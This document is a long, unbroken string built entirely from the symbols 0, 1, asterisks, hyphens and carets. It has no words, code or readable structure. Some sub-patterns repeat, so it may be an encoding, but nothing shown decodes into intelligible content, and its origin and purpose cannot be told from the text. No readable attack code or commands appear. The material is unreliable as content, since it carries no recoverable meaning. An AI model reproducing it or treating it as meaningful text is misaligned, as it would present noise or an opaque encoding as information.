-11*001*001*1*1101*001101*********1011*********001********************00^-*********010101********0-^1*********0011********00-^1*********0011********00^1*0101*10^1*01011**-*101*001^1*001****01**001**0--*1*001^1*001****01*****0--001101*01^1*********1***-001*1******011*1********001*0011**0011***01^11011****10101*1**0--1010101^1**0-01^11*******00-1*0010^--------001*1*0-*011*0-01*--------110^1*0-*011*0^1101******-01011*11**0^1^^101101^-11*011*001*1*--------01010-*-00^1101*****0011011*10110101*001*010^1^11*-11*101*001*1*--------0011011*0-*011*0^1101*****001*0110-1***^1^^110-^-11*011*001*1*********1*1*^-001**00---101*011*00--------011*01*-*011*0^1101*****00101010-*-**1*010^-^^-11*101*001*1*0101*0-01*--------01010-*-00^11010^11010-11*1*^1********0-^1*001*01*001*1*--------^10101*-*011*01*^1*****01**00-011**1*01*001*1*********0-*0^-001**00--101101*011*00--------**11*-*011*0^1101*****0010^11011011011*001*010^-110^-11*^1*00101*001101********************110-********00110-*********1^1********0-*01********0-*1********01**********^-*********^1********************101*0101*1*01**11*001101*011*001^1*001****01**0^110^--0101*001^1*001*******-1*10--*1*001^1*001****01**001**0--01011**1*******010101010--001101*01^1*********1***-001*1******001*1********0011010-**0011***01^1^1*********010101*01*******0101101010-110110101*******01011*101*01*******^110^--*1*******^11010--^1*******01*1*10101*0--^1*******^11010--1***01101*01^1*********1***-*1*101*****0--------^11**-*11*001^1*01011*01010^-*00--------1^-1*-*1011*--------^101*00-*11*001^1*0101*0-11*********^1*0--*-^--01010-110-11*1*011*1**010^1********-00101*001*01*******-1*10--********0-00101*001*01*******-1*10--0^1101*1*001*1*1101101*011*^1*******1**011*1**1*01*001^1******01**010-01**^1011*******01**011*1*001*101**011010-01*011*00--------0-011*0-*11*001^1*^11*1101*00101*******^1011*101*1**--------10-11*0-*11*001^1*^110^1011010-11*1*^--010-11*-*001*1*1101**01*01********-1^10101*0--101**0^1*--------1^-1*-0010-*--------00-001*-*11*001^1*0-1**********1*********01**0101*101*01^11*00^110^1011*-11*1*011011**001*00--------10101101*-*11*001^1*01011*0101*001101*----------01*-*11*001^1*01101*01^1*11********-**1011********01010101********0-*********0-011**********101*********110101*********0101*********011*********-1101*********110101*******************-*********01101*0101*^11*001*1*********1*001*0-00-*001^1*001****01*****0--001101*01^1*********1***-001*1******01*01*********10-11**00-***1^1^1*--------0-001*0-*10101*1^1*11*******-011**1011********-**********11********************0-********************0101*00101*10^1*01*1*^1*01^1*01101*01010^--------01^-*-00^1101*****001010101^10101**^1^^1*****01**0011011**0^-*001*1*--------101^1*0-*01*001^1*-01**********1*0010-0010-01*011**1**11**01101*01*0-*00--------1*011*0-*01*001^1*^1101010-^-11*1*^1*****01**00-11**01*11*001*1*0011*00101101010^^-*001101******0011**010^1**1*101**011010-01*011**101****1**01101^-11011011011******00-**11*-**11011******011**0011*101**--------0^^1*-*01*001^1*01011*--------00110-*-001*^1*****01**00-011**1*11*001*1*---------00101*-*01*001^1*^1*0-11*********^1*********01**0101*101*01^11*00^1101*^110-11*1*0110101**01*00--------1*0011*-*01*001^1*1101101*011*1*^1*01010-11*101*001*1*0101*001101*********-011*********101101*********001**********0-********0-0^1*********0101*********001*********--********00-0^1*******************101*0101*1*1*001*1*001*001^1*01101*-*001^1*001****01**0^110^--0011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1********1******1***001***0011***01^1^1*--------1*01*00-001011*00-1*01010^-*00--------010101*00-001011*0^1101******00-00-*01*001*010^1*****001**01*01**1*11*001*1*--------1^-1*-001101*0-11*--------101*1*0-001011**011*********-*00^-0010-01*011**1101*1**101101010^1*01**101**011010-01*011*00--------00-01*0-001011*0^11*1101*00101*******-1101*10^11011******011**0011*101**---------1011*0-001011*0^110^1101^-11*1*^1*****01**00-^1*00^101*001*1*1101********************11**1*0^--------1^-1*-00^1*0-11*--------1*^1*-001011*00101*0-11**********1*********01**0101*101*01^11*00^110^1101010-11*1*011011**001*00--------01010101*-001011*0^110^1^110-11*1*^1*****01**011010101*001*01*001*1*0101*001101*--------10-101*-001011*0-01*01^1*11*******011011**1011*********00101**********1********01101101**********1*********-011*********11*1*********00101*******************-011*********11*1********1011*********001*101********0011*0101*10^1*********011*01*0-*11*001^1*001*******010101010--0101*001^1*001****01**001**0--*1*001^1*001*******0-11010--001101*01^1*********1***-001*1******0-11******01*******0011***01^1^1*--------00-01*0-*10101*1^1*11*******101011**1011********011*********00-*********00-*******************************101*00101*1*01*01*1**1*01^1*-01*01010^---------*1*0-*01*001^1*01101*--------1^-1*-*0-*--------1010101*0-*01*001^1*1*^-010^-11*011*001*1*********0011*010-^^110^10110^101*0-11**1*0-*******011**0^101*00^1101*********001010101*001*011*********01^^1*001*101**011010-01*011**101******00-^1*0101*01**-*0101*0011011******011**0011*^1*0011**11011******00-**11*101**--------0110^1*-*01*001^1*^1*0-11*--------1^-1*-00^11*--------10^101*-*01*001^1*-01**********1*********01**0101*101*01^11*00^1101*-^-11*1*0110101**-*0011**-*0--------**11*-*01*001^1*11011010^1*0-11*1*^11*-0-11*101*001*1*0101*001101**********0101*******************0101*1********0101*1********1*1*********01*001********110-*********^11*********^11********001*1*********0101*0101*1*1*001*1*001*001^1*0-1*011*001^1*001****01**001**0--0101*001^1*001****01**0-010^--001101*01^1*********1***-001*1******00-1*********00--***11***1^1^1******0--------001**00-*01*001^1*^1101*********101011*00^1*^110-^-11*0101*01*1*01010^1*******0011**0010-0-*00--------01^-*-00^1101*****00--1*011011*001*010^1********^-01*00^-*001*1*--------*011*00-*01*001^1*^1101*******--110-*001*010^1*11010-11*^1*01*1*********0^1*010-0010-01*011**1*0--------010^1*0-*01*001^1*1*^^1*10-11**1*01*1*0011**01101*01*001**0011*00101101010^1*1**0101**011010-01*011*00--------01*11*0-*01*001^1*1101*0-11*1101*00101*******10^11*10^--------1*-*0-*01*001^1*1101*0-11*1101**101*--------01^-*-00^1101*****00-^1*00^1*001*010^1********11011011*00^-*001*1*---------1*1*-*01*001^1*110110^-1*1*^101011*011*001*1*********1011*********01**0101*101*01^11*00^1101010-*-11*1*01^1**11**--------10110101*-*01*001^1*1*^-110110-11*101*001*1*0101*001101*--------110-01*-*01*001^1*01101*01^1*11*******001011**1011********-0011*********110101********--1*******************101^1*********110101*******************0-*********-0011********01^1101*********1101********00-**********11*0101*1*1*001*1*********101*1*0-*101*01^1*001*******0-11010--0^1*01^1*001*******-1*10--*01*01^1*001****01**001**0--0-*001^1*001*******010101010--0011*001^1*001****01**0-010^--0101*001^1*001****01*****0--001101*01^1*********1***-001*1******010-******01**00^11***011***01^1^1******0--------00101**-*10101*1^1*11*******1^11**1011****************************************-**********11*********00101*00101*1*01*01*1**1*01^1**11*01010^--------0010-1*-*-1*--------0101**0-001011*0^1101*****001101^1011011**01*010^1********^1^1*001*11*001*1*********00101*010-0010-01*011*-*00--------01^1*00-001011*0^110101*^11*0110-11*101*001*1*1*^1********10--*00^101*001*1*1101**011010-**11**-*01101*00101101010^1*11**-*00101**011010-01*011**101*******-001*0101*01**-*0101*0011011******00-**11*^1*0011**11011******011**0011*101**--------10-01*0-001011*001101*0101******00^^11*101*01**-*0101*0011011******00-**11*^1*0011**11011******011**0011*101**--------^-1*0-001011*0^1101*****00-0-*--*00^1^^1*****01**00^-**1*01*001*1*--------1*0-*-00^11*---------00-*-00^1101******01^1**101*00^1^^1*****01**0101***01*01*001*1*--------01^101*-001011*0^1*0-11*********11011**********1*********001**101*101*01^11*00^110^101*0-11*1*01^11**-*0101**-*0--------101*11*-001011*00-1*0101*001101*******************001*001********0^1*********0011*01*********10101********1010101********0010^11********1*-*********010101********^1*********0011*01********1101*0101*10^1*01011*00101*0-11*011*001^1*001*******-1*10--0101*001^1*001****01**001**0--*1*001^1*001****01**0^110^--001101*01^1*********1***-001*1*******-******01**0011*1***011***1^1^1*********010101*11*00-----^10-10^^1*-*-*01^1*-00^-11*-----^10--01^1*-*-*01^1*^1101*********-001*00^1*^1*****01**0011011**0^1*1*1*1*00110-11010^^1101********0^1*1*00^1*^11*1*-11**01*1*1*-----^10-110-101*-*-*01^1*^1101******101*-*001*001*010^1*****001**1^11**0^1^1*1*1*10101*00110^1**00--^^^-11*0011*01*1*-----^10-101011011*-*-*01^1*1*0^-11*0011*01^1*-01*0^--010^1*^-01*0-11*10101*1*1*-----^10-110110-*-*-*01^1*10-^-11*^1**110^1**00--101101*0011*01*1*-----^10-110--*-*-*01^1*^-00-11*0011*01^1*01011*-11*-----11010-10101**0-*-*01^1*--00-11*1^--010^1*^101011**01*1*1*-----11010-1^11**-*-*01^1*^1101*******1*--**01*010^1*****01***110-*00^1^1*1*1*10101*00110^1**00--1^11*-11*0011*01*1*-----11010-1011011*00-*-*01^1*^10^-11*0011*01^1*^11*-11*0101*00101*******101^1*101*11*****1**101**010^1*********001*00101^1****001**0011*00--*1*001*1*1010--010^^10^-11*-----11010-10-101*0-*-*01^1*010^10-11*^1**110^1**00--1*11*-11*0011*01*1*-----11010--11011*0-*-*01^1*00-*-11*0011*01^1*00^^-11*0101**101*00110-11010^^1101*****00101**^1101*001*010^11*-0-11*0^1*1*1*-----11010--01*1*-*-*01^1*1*^1*0-0-11*10101*1*1*0011**110^1**00---*^-11*0011*01*1*-----11010---001*-*-*01^1*-11*-11*0011*01^1*-01*-11*0101*00101*******101^1*101*11*****1**101**010^1*******00101*1*00101^1****001**0011*00--*1*001*1*^10-11010^^1101*****0010110^-0^1*001*010^1*****001**001*1**^1^1*1*1*-----11010--001011*-*-*01^1**11010-^10-11*1*^1*10^-11**01*1*1*-1**110^1**00--101101*-11*0011*01*1*-----11010-101010-*-*-*01^1*-*10-11*0011*01^1*11011*-11*011*001^1*01*******01101*010^10-0101******01***101*-0110-11*^10^-11*011*****1**101**0101*1*******01101**00101^1****001**0011*00--*1*001*1*1010--010^-*10-11*-----10110-^-**-*-*01^1*1*^-110110-11**01*1*1*0011**110^1**00--101011*-11*0011*01*1*-----10110-1*011*00-*-*01^1*^11010-1*0-11*1*^1********^^11*00^-1*01*1*0011*01^1*01011*1011*0110101*******1011*0101******11**0-*1*001******11**10^-*00^-**001*00^--010^1*^10-0110-11*10101*1*1*-----10110-10-101*0-*-*01^1**11*-11*^1**110^1**00--1^11*0011*01*1*-----10110-10-011*0-*-*01^1*-10^-11*0011*01^1*1^1*-11*0101*01*******001011**11*1011*******-00101*101******1**0^-1**1******1**01011011**1*01*001*1*00110-110101*0011010^11*-11*1*^1********1010^1*001**1*1*1*-----10110---001*-*-*01^1*0^1^-11*^1**110^1**00--10^1*-11*0011*01*1*-----10110-1*01101*-*-*01^1*01011010-11*0011*01^1*10101*-11*0101*01*******001011**11*1011*******-00101*101******01**0010101**1******01****1**1*01*001*1*^10-11010^^1101********00101*1*00^1*^1*****01**0^-01*00^10101*1*1*-----10110-^^-*-*-*01^1*0-1010-11*^1**110^1**00--^101*-11*0011*01*1*-----10110-11010-1*-*-*01^1*110-00-11*0011*01^1*1*0^-11*^1*01^1*0101******00-*-^-*01*01*1*1010--010^110-00-11*------10--11**0-*-*01^1*^1101******10--1101**001*010^1********1101*1*00^1^1*1*1*10101*00110^1**00--1*00^-11*0011*01*1*------10-^1101*00-*-*01^1*0-0010-11*0011*01^1*11*^-11*------10-1^-*00-*-*01^1*--00-11*1010--0101*-0010-11*------10-1011*1*0-*-*01^1*11011**1**110^1**00--101*^-11*0011*01*1*------10-10110101*0-*-*01^1*^1101*****0010^110^1***1*010^1*****001**11***00^1^1*1*1*0011*01^1*1011*0-11*0101*01********-**11*11********-*010^101011*00^10-11010^^1101********01*0101*00^1*^1*****01***-11**^10101*1*1*------10--01*1*-*-*01^1*0^1*-11*^1**110^1**00--^11*0-11*0011*01*1*------10-^-001*-*-*01^1*1*^1*10^-11*10101*1*1*0011*01^1*1101*0-11*------10-^110101*-*-*01^1*--00-11*1010--010^1^1^-11*------10-1^-01*-*-*01^1*0101101011011*1*^1********1101^1*00^-1*01*1*1*1*00110^1**00--10101*0-11*0011*01*1*------10-10^1011*-*-*01^1*^1101*********1*11*00^1*^1********01*-*00^1*1*1*1*0011*01^1*01101*-11*------10--010-*-*-*01^1*--00-11*^10-11010^^1101*******0-1^1**00^1^^1********-01101*001*0101*1*1*-----1*-1^1**00-*-*01^1*^1101*******101^11*1*00^1^^1*****01**010^11**1*0101*1*1*10101*00110^1**00--110101*-11*0011*01*1*-----1*--*01*00-*-*01^1*1^1010-11*0011*01^1*0-1*-11*-----1*-110-01*00-*-*01^1*1^1*-11*0101*0110101******-101*00101******01**0110-1*001******01**10-101*00^1101*01*1*1101*01^1*1*******0010^^1011*-101*110101******1011**0101******01**11010-*001******01**1^^1*00^-*001*1*011*******10101**101******1**001^11**1******1***10101**^1010--010^1^1010-11*-----1*--010-*0-*-*01^1*-01^-11*^1**110^1**00--110-*-11*0011*01*1*-----1*-11011*01*-*-*01^1*1*^1********0-^1*001**1*1*1*0011*01^1*^11*-----1*-11*1^1*-*-*01^1*^1101*****0011*01011*11**1*010^10-0010-11*1^1*1*1*0011*0110101******-10101*10^10^^-11*1*0010-11*011*******011**0010^11011*-*0010110101**11*01**001*0110110-11*110101******110101*00101********001^-1*001*********0-101*00^-*00^10-11010^^1101******-11*0^1**01*010^1*****001**0^1**00^1^1*1*1*-----1*--*0-*-*-*01^1*^1101*****001011010-^101*00^1^^110101010-11*00101*1*1*0^1*00110^1**00--1*11*0011*01*1*-----1*-11010-11*-*-*01^1**00^-11*0011*01^1*00-*0101*01^1*110101******01101**101*********1010-*001********0010-001*00^^1*0^10-11010^^1101*****00-*1*-11**^1^^1********-10101*001*0101*1*1*-----1^-11*101*00-*-*01^1*1*^1*****01**01*-**^1*1*1*1*-1**110^1**00---011*0011*01*1*-----1^-110-11*00-*-*01^1*^1101******1^1011**1*001*010^^-*-11*0^1*1*1*0011*01^1*0011*0-11*0101*01*******001*01*011*1011****01**0^-1*010^11010^-11***10-11*001*001*1*1010--0101*^1010-11*-----1^--001011*0-*-*01^1**-00-11*^1**110^1**00---01*0-11*0011*01*1*-----1^-11010-1*0-*-*01^1*00101^-11*0011*01^1*-11*-11*-----1^--11*01*-*-*01^1*--00-11*1010--0101*0101^-11*-----1^-1^10^1*-*-*01^1*^1101********011*001*00^1*^--^-11**01*1*1*0^1*00110^1**00--10-1*-11*0011*01*1*-----1^-110-0101*-*-*01^1*^11*-11*0011*01^1*^1*0-11*101*001^1*011****011**^101*00101******01**0-0101*001******01**01*001*001*01*001*1*-10-11010^1*^1*****01***1011**0^1*1*1*1*-----1^-11*11011*-*-*01^1*^1101******11*1101*1**0^1^^^101*-11*00101*1*1*0^1*00110^1**00--10-1*0011*01*1*-----1^--*-1*-*-*01^1*010-00-11*0011*01^1*11011*-----1^--0--*-*-*01^1*^1101*****0010^11*11***^1^^1********00-001*001*0101*1*1*001*001^1*011****001**00^1*00101******1**010^101*001******1**0110^11*001*00110^101011*001*-11*011****01**01*011*0101******11**1^-**1******11**-11**001***0-1*01010--0101*10-00-11*-----1010-1^-1*00-*-*01^1*1101101010-*1*^1********^^11*00^-1*01*1*1*1*00110^1**00--101011*0011*01*1*-----1010-1^10101*0-*-*01^1**10^-11*0011*01^1*0^1*-11*-----1010--*011*0-*-*01^1*^1101**110-11*1*^1*****01**011*011*00^10101*1*1*1010--0101*0010^-11*-----1010--110-*0-*-*01^1*^1101******1101*110-11*001*010^11*1^-11*1^1*1*1*0^1*00110^1**00--11*1*-11*0011*01*1*-----1010--*^1*-*-*01^1*10101010-11*0011*01^1**11*-11*-----1010-110-^1*-*-*01^1*^1101*****001010-1^10-*001*010^1*****001**110101**0^1^1*1*1*1010--010^10101010-11*-----1010--1101101*-*-*01^1**1101010110^-11*1*^1********001*11*00^10101*1*1*0^1*00110^1**00---101*-11*0011*01*1*-----1010--*1011*-*-*01^1*10101*-11*0011*01^1*1*1*-11*0101*01********01101*011*1011****001**11*-*101******1**0101011**01******1**0110101**01*01*001*1*01^-11010^^110101*^1*****01**0-01101*00^10101*1*1*1*^1*****01**0-01**00^10101*1*1*------0-11*1**0-*-*01^1*1*^--*-11**01*1*1*0011**110^1**00--1*01*-11*0011*01*1*------0-1^-**-*-*01^1**1101*001^-11*1*^110-110-11*-1*01*1*0011*01^1**11*1101*0110101******01***101******01**101011**01******01**0^-**1*11*****1**101**0101*1*******00-**00101^1****001**0011*00--001**1010--010^-^10-11*------0-110^101*0-*-*01^1*11011010-11*^1**110^1**00---101*0011*01*1*------0-1101*11*0-*-*01^1*1*1010-11*0011*01^1**00^-11**1*01^1*011****011**^101*00101******1**01**1*001******1**010110101*001*01*001*1*00110-11010^^1101******-0-10-011*001*010^^1*10-11*0^1*1*1*------0---*1*-*-*01^1*101^10-11*^1**110^1**00----*-11*0011*01*1*------0-11*00101*-*-*01^1*-01*-11*0011*01^1*0-1*------0-1^110101*-*-*01^1*^1101******00^^10^1**1*010^-0-00-11*1^1*1*1*1010--010^-01*-11*------0-1101*011*-*-*01^1*001^10-11*^1**110^1**00--110-*0011*01*1*------0-110^1011*-*-*01^1*10^^-11*0011*01^1*01*^-11*0101*0110101******10^1*00101********00^10-*001********00-0^1*00^^1*01*1*1010--010^10^^-11*------0--010-1*-*-*01^1*-01**1**110^1**00--11*0^-11*0011*01*1*-----^--101**00-*-*01^1**01*-11*0011*01^1*0101*0-11*0101*0011****011**1^-*0101******11**001***01******11**101*1**^101*001*1*1010--0101**1*-11*-----^--*101*00-*-*01^1*1*1*-11*^1**110^1**00--1^1*0-11*0011*01*1*-----^--^-*00-*-*01^1**1101*010^-11*1*^1********1^1011*00^1*1*1*1*0011*01^1*10-*01*10-010^101^10-11*01^10-010^^1101******010-0^1101**^1^^-*110-11*00101*1*1*1^110-010^1*^11*1*-11*-1*01*1*010-0-010^1*^11*1*-11*-1*01*1*1*00-10101*1011*001*-10101*1010^-11**^-10101*10^10-11*001^-1010^-11010-11**010-10101*-1010-11*001010-1010^^1101******1010101^-01*00^1^^1********01^101*001*0101*1*1*00^-110101**0010-11**10-11010^^1101*110110-11*1*^1********001*01*00^-1*01*1*1010--0101*00-00-11*-----^--10^101*-*-*01^1*10-*********1101101********00-001********0-*1**********01********010-1********00^-********00101011********001*11********00101101********0010-*********^11*********0011**********01*********01011*0101*^101*01*1*00110-11010^^1101*^110-11*1*^1*****01***001**00^1*1*1*1*-----^--1010-1*-*-*01^1*110^10-11*^1**110^1**00--^-*0011*01*1*-----110--101**00-*-*01^1*^1101*001^-11*1*^1*****01**00-^1*00^1*1*1*1*0011*01^1*10-*-11*-----110--11011**-*-*01^1*0101*0-11*011****01**00-**0101******11**11*01**1******11**01^11**1*01*******01*010110-^11**^1*01101*-*001*1*001*******11*010110-^11**^1*1010--010^^1*0-11*-----110--*^1*0-*-*01^1*^1101******1***101**01*010^11011*0-11*1^1*1*1*0^1*00110^1**00--^-*-11*0011*01*1*-----110--01*11*0-*-*01^1*0-1*0011*01^1*-1*0-11*0101*01********01101*011*1011****001**11*-*101******11**0^11**01******11**001101**01*01*001*1*0110--0101*-1*-----110--*1*1*-*-*01^1*01*010-11*^1**110^1**00--10-*0-11*0011*01*1*-----110--^1^1*-*-*01^1*10101^-11*0011*01^1*00-*-11*-*001^1*1*******001*0^1011*1*11010-01*^11010-01*001*******01*010110-^11**^1*1010--010^10101^-11*-----110--00-101*-*-*01^1*10110^-11*^1**110^1**00---011*-11*0011*01*1*-----110--101^11*-*-*01^1*1*^--010-11**01*1*1*0011*01^1*0-*0-11*-----110--10-011*-*-*01^1*^1101*****0010^^110-**01*010^1*********1*1*001*^1*1*1*1010--010^10-010-11*-----110--0110-1*-*-*01^1*-01010-11*^1**110^1**00--11011*0-11*0011*01*1*-----10---1**00-*-*01^1**11*0011*01^1*00101*-11*-----10---001**-*-*01^1*--00-11*0110--0101*0011*-----10----**-*-*01^1*11*^-11*^1**110^1**00---001*-11*0011*01*1*-----10--1*011*00-*-*01^1*01101^-11*0011*01^1**01*-11*-----10--110-1*00-*-*01^1*^110^^-0-11*1*^10--0-11*1*1*1*1*-10-11010^^110^10-10-11*1*^-110^-11**01*1*1*-----10--10110101*0-*-*01^1*01101*-11*^1**110^1**00---11*0-11*0011*01*1*-----10---^11*0-*-*01^1*^110^1*^-11*1*^101011010-11*-1*01*1*0011*01^1*01101*******01*001101101*****0-*0010^101********00110101******1**001*1*****011**110101******-*00^^11*****0^1*001^11*****00^1*00-1011********-*01******1**0-11*****0011***10-*****011**011*11*****0011**001101*****00101*00110-******11**-01******0011**01*11*****011**10-01*****00-*00101^1******1**-0-1*****001**110-01*****01**01*^1*****0^1*0-11******001****1*****00-*0011*1*******1*0-1*1******1**0011******0^1*00-1011********00-001*****0-**-011*********10-1*****0101*001*0-*****011**001*01*****0^1*0-00-******01*0^^1*****00^1*01^^1*****001**101^11*****0-**01*01******1**001*1*****0^1**-11*****00101**0101******0011**001*********0^^1**********-******1*00--11*****0011*0010-011*****0-*00-00-******1**^-1*****0-*0011*1*******1*01101*******11*00101^11********1*0011*****01**0101011*********0-1******001*0011010101*****0^1*011*01******01*0010^1*********^1*****************01**-00101*****0011*00101*01********10-01*****00101*001^-1*****0^1*0-1^1*****0101*00--1******001*001011011******1**11*******011*00-00101*****0^1*00101*********001^11*****00101**0010101******1*00110^11******01*001*1******01**^11011********101101******11***10101******01*0110-11*****0011*00110^1******11**--1*****001**1010101******1**0010-*****00^1*0-1011*****00101*001*011*****00^1*0^^11*****0011**-*1******1*001*001*****001**00-101*****001***10-*****001**0-01******001**110101******11**11011011*****0-*00-011*******1*01*011*****00-***001********00^-******1***1*1******1*00^10-*********00110101*^-*01*1*0-*01^1*01^^-11*10101*1^1*001*******0-11010--*101*1^1*001****01**0^110^--01^1*1^1*001*******010101010--00^1*1^1*001*******-1*10--01*1*1^1*001****01**001**0--*001*1^1*001****01*****0--0-1*01^1*001****01**0-010^--001101*01^1*1**11010^1*1******011011******01101*0^10101**00-***1^1^1****10101*01*******01^1***1011****011**1*-*0101*-**^^^1010^110101*00^11011*******************00101*001*01*01*******10^1***1011*******011**0010^11011*-*0010110101**11*-**01*010-0-11*------0-1^101101*-001101*001101*-11*001*******00^1***1011****011**1*-*0101*-**^^^101010-0101*00^10-*******************00-1*01*01*01*******11*1***1011****01**01*001*0101*0101*11011010^1**0^-101^1*001*1011*00101*------0--1^-*-001101*0^1101*****00-1*1101***01*010^1101^10-11*101*001*1*001*******01*1***1011****011**0011*1*101*^11*1*110101^1^1*01*001*******************0011*001*01*-1*001*******1*01***1011****011**0011*1*101*^11*1*110101^--*1*001*******************0^1*01*0^^11*-----^--010101*00-001101*0^1101*****00110-*1*001*001*010^101010110-11*101*001*1*001********001***-0101******0101011*0101******01**1101***1******01**10-**001*11****001***1^1*10^^11*01*11011**10-0010-011**1*0101*-----^--1101101*0-001101**11*0-11*001*******-11***0-0101******0101011*0101******11**10110101*001******11**110-01*001*11****001***1^1*10^10-*01*11011**10-0010101011**1*0101*-----^--11*001*-001101**001*-11*001*******0-1***01011****011**1*-*0101*-**^^^10101^-01*00^^11********************11*001*01*01*******10-***01011****01**01*001*0101*0101*11011010^1**0^--0-*001*0011*00101*-----^--01101101*-001101*0^1101******010^101*101*00^1^^1*00^-11*011*001*1*001*******00-***0-0101******01^11*0101******1**0-011**01******1**010-01**1*11*******011**0010^^11*-*0010110101**11010-**01********0010--*00^-----^--11010-*-001101*0^1101********01*1101*00^1*^1*****01**001***00^^1**1*******11011***0-0101******01^11*0101******1***110-*001******1**0011*01*001*11****001***1^1*101*1101*01*11011**10-00110^11**1*0101*-----110--0-1**-001101*00-*0-11*001*******01011***0-0101******01^11*0101******11**101*1**1******11**-101**01*11****011**10-001*10^1101**-1*^^11*1011*001*0101*10-*00101*-11*001*******^11***0101101*-----110--0-001*0-001101*0^11*001********11***0-0101******0101011*010^10^110-11*1^-0-11*011****001***1^1*101*-1*01*11011**10-00110^11**1*0101*-----110---1011*0-001101*0-01*001*******-01***0-0101******0101011*0101*01*10-11*0^1010-11*011*******011**00101*0011*-*0010110101**11*001**01*1010110-11*-----110--1*^1*-001101*0^1101*****0010^1011010^1*00^1^^1*****01**01^-**1*11*001*1*001*******01101***0-0101******0101011*0101******01**010^1**1******01**00-01**1*11*******011**0010^10-*-*0010110101**-0^1**01*********-1011*00^-----110--^^11*-001101*0^1101******10^-11***01*010^1********-10101*00^101*001*1*001*******10101***0-0101******0101011*0101******11**1^11**01******11**10^1**01*11****001***1^1*101*0011*01*11011**10-00-11011**1*0101*-----110--10--*-001101*01*1*-11*001*******00101***0-0101******0101011*0101******1**0010101**01******1***-1**01*11****001***1^1*101*1101*01*11011**10-0011011011**1*0101*-----10--110^1*00-001101*0-1*0-11*001*******1^1***0-0101******0101011*0101******1***0011**01******1**001^1**01*11****001***1^1*101*0-*01*11011**10-00-01011**1*0101*-----10--1101^1*0-001101*0^110101*0110-11*1*^^-110-11*^1**1*******0^1***0-0101******0101011*0101******11***00-*001******11**0110-1*001*11****001***1^1*10^11011*01*11011**10-001*1011**1*0101*-----10--1010-1*0-001101*0^1101******0-10-*011*001*010^1********-10-*001*01*001*1*001*******1*1***01011****011**0011*1*101*^11*1*110101^110101*1*001*******************01011*01*01*0-*001********01***0-101*001*******-1***001011****01**01*001*0101*0101*11011010^1**0^1^1011**01*-1*00101*-----10----101*-001101*01101101*-*1*^1********01101011*001*001*001********01*010101*0--^1*******0-*0--1*1*******1011***001011****01**01*001*0101*0101*11011010^1**0^1101*01**1*0-*00101*-----10---010-*-001101*01*^1*****01**0101***0^^1**1*******0011***00-0101******0101011*0101******1**01*1101*001******1**0-00101*001*11*******011**00101*1101*-*0010110101**1101*1**01*********101^1*00^--------00-**-001101*01101*0-11*001*******1101***001011****011**0011*1*101*^11*1*110101^-011*1*001*******************0^1*01*0^-01*001*******0101***001011****011**0011*1*101*^11*1*110101^11*1*1*001*******************0-*001*01*1011*--------0110101*0-001101*0^110101*^-00-0-11**1*01*^1*****01****11**1*001**1*******^1***001011****011**0011*1*101*^11*1*110101^-101*1*001*******************0011*001*0^10-*001********1***001011****011**0011*1*101*^11*1*110101^11*1*1*001*******************01101*01*01*1011******011***0-*****0011**01^-********11011011*****001**^1******0011**1^1101*****001**-10101*****01**010-001*****011**-01******01**01010-******1**00-11*********1*1*****0011**--*********--*****0011***0-******1**00^-*****01**01*1011********-10101*******************01*1*****001****1******01**001^1*****001**0101^1******1**110101******01**0110-1*********11*101*10-*001101**-*011*001^1*001****01**0^110^--0101*001^1*001*******-1*10--*1*001^1*001*******010101010--01011**1*******0-11010--*11**1****01**001**0--***01101*01^1*********1***-001*1******001011*******1*0011*101**00101***1^1^1*010101*101******0011*01*0101*1*****1101*01^1*********1***-*-11*1010^-----110--1^1**-*011**001*-11*-----110--11011**-*011*010-*--------11010-*-00^1101*****0010^1*010-**^1^^101101*-*001*1*-----110--1*11*00-*011*010101*-11**********1*0^-001**00--10-1*011*00-----110--01*01*0-*011*01011*0-11*0101*0-01*--------1^-1*-001011*0-11*-----110--1^101*0-*011*001011*-11**********1*0^-001**00--101101*011*00-----110--00^11*0-*011*0^110101*^1*****01**0101***01*001*01*1*1*^-^^-11**1*01*1*0101*0^11*001*******0101***0010101******00^-0-1101^11****01**01101^1*101******01**11*1**01******01**010-**0^--------1^-1*-00-01*-11*-----110--0101^1*-*011*0^1101******-*0-1^1*00^1^^1*****01**00^^1*00^-*001*1*********00101*^-001**00--1*11*011*00-----110---01101*-*011*0-01*0101**011*001********1***001011****011**00-1*0010^---------00-*-00^1101*****001010101*110101*001*010^1*****001**11011**001*11*001*1*-----110--10-011*-*011**-*********-*00^-001**00---101*011*00-----110--10110-*-*011*001101*-11*0101*011011*001*******1*01***-0101******--*00101******11**-001**01******11**^-**01*01*******10^1*--*1*******01*1*--0--------1^-1*-*1101*-11*-----10--^-**-*011*01*^-0-10-11*101*001*1*********1101*0^-001**00--101011*011*00-----10--1*011*00-*011*011011*0101*001011*-----10--1^-*00-*011*01*1*-11*001*******01*1***-0101******--*00101******11**^1***1******11**-01**001*01*******00^1*--0110101******-1*1*101******11**0-^1*001******11**00-011*001*01*******11*1*--0--------0010-1*-0011011*-----10--^10-*0-*011**011*********-*00^-001**00--1^11*011*00-----10--^1*01*-*011**11*0-11*0101*010-*--------01010-*-00^1101********00101*1*00^1*^11*0^-11*001*001*1*-----10--10-^1*-*011**101*-11**********1*0^-*01*******0011*00--0--------1^-1*-*011*0-11*-----10---101101*-*011*01^1*-11**********1*0^-001**00--^-*011*00-----10--1*^11*-*011*0^1101*******0^101101**01*010^1********0101^1*00^^1*00101*00-1*001*******1101***001011****011**001011*0010^--------10110-*-00^11010-01*-11*1*^10-0010-11*001*001*1*-----10--^10-1*-*011*0^1101********00^^1*00^1*^1********110-01*001*01*001*1*********00101*^-001**00--110-*011*00--------1*1**-*011*0^1101******10^101^101**1*010^1********00110101*00^^1*00101**-*--------01^1*00-*011*00101*0-11*001*******^1***00-0101******0-101*0101******11**00-11**1******11**0-001**1*11****01***^1*00101******1**00-0-*001******1**0^^11*001*11****01**01*001*0101*0101*11011010^1**0^1^10101**^10-*00101*011****01**0011011*00101******1**001*11**1******1***00101**^--------1^-1*-*0011*-11*--------0010-*0-*011*0-1*0-11**********1*0^-001**00---011*011*00--------101*01*-*011*001101*0101*001101******001**01*01*****001**0^-1********010-11******1**010101******1**01*0101*****001**0011011*****001*************0-1011********011*11*****01**01010101********0^1*********01*01******1**0-0^1*****001**001^1*****001**00101******001**00-101*********01011********0^1*****************001**110-1*****001***1*11*****01**00-101********0-00101*****01**0110-11*****01****1******1**0-01011*****001**1^-********011011*101*1*01**11*00-1**1*01^1*001****01**001**0--0-*001^1*001****01**0^110^--0011*001^1*001*******010101010--0101*001^1*001*******0-11010--*1*001^1*001****01**0-010^--01011**1